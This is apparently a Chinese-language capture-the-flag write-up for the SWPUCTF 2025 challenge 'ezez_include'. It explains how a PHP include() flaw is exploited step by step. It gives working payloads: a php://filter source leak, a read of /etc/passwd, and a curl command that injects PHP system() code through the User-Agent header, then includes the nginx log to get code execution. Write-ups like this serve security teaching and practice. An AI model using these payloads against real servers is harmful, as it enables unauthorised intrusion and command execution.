SWPUCTF 2025 秋季新生赛 ezez_include Writeup
题目分析
题目给出了一个文件读取/包含的接口。通过
POST请求参数nss可以读取或包含服务器上的文件。解题过程
源码泄露:
使用php://filter伪协议读取index.php的 Base64 编码源码。nss=php://filter/read=convert.base64-encode/resource=index.php解码后得到关键逻辑:
if (isset($_POST['nss'])) { $file = $_POST['nss']; echo "file: " . htmlspecialchars($file) . "<br><br>"; include($file); }这里直接将用户输入的
$file传入了include()函数,且没有进行过滤,存在典型的文件包含漏洞(LFI)。环境探测:
- 尝试读取
/flag,提示文件不存在。- 尝试读取
/etc/passwd,成功。- 探测发现
allow_url_include为Off,无法直接使用data://或php://input进行远程代码执行。日志包含漏洞利用(LFI to RCE):
由于无法直接包含远程文件,考虑利用本地日志包含。
- 服务器使用 Nginx,默认日志路径为
/var/log/nginx/access.log。- 通过发送带有 PHP 代码的
User-Agent头部,将恶意代码写入日志:curl -H "User-Agent: <?php system('ls /'); ?>" http://node1.anna.nssctf.cn:23395/- 包含日志文件以执行代码:
nss=/var/log/nginx/access.log- 在命令执行结果中,发现根目录下有一个名字异常的文件:
/ffffflalalallalalalalalalalg。获取 Flag:
直接包含该文件:nss=/ffffflalalallalalalalalalalg成功获得 Flag。
总结
该题考察了:
- PHP 伪协议的使用。
- 本地文件包含(LFI)的基本利用。
- Nginx 日志包含进阶利用获取 RCE。
- 根目录异常文件探测。
SWPUCTF 2025 秋季新生赛 ezez_include Writeup
2026-01-09 11:46・By

weiqixy3
文件上传文件包含目录扫描
还没有人赞赏,快来当第一个赞赏的人吧!
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论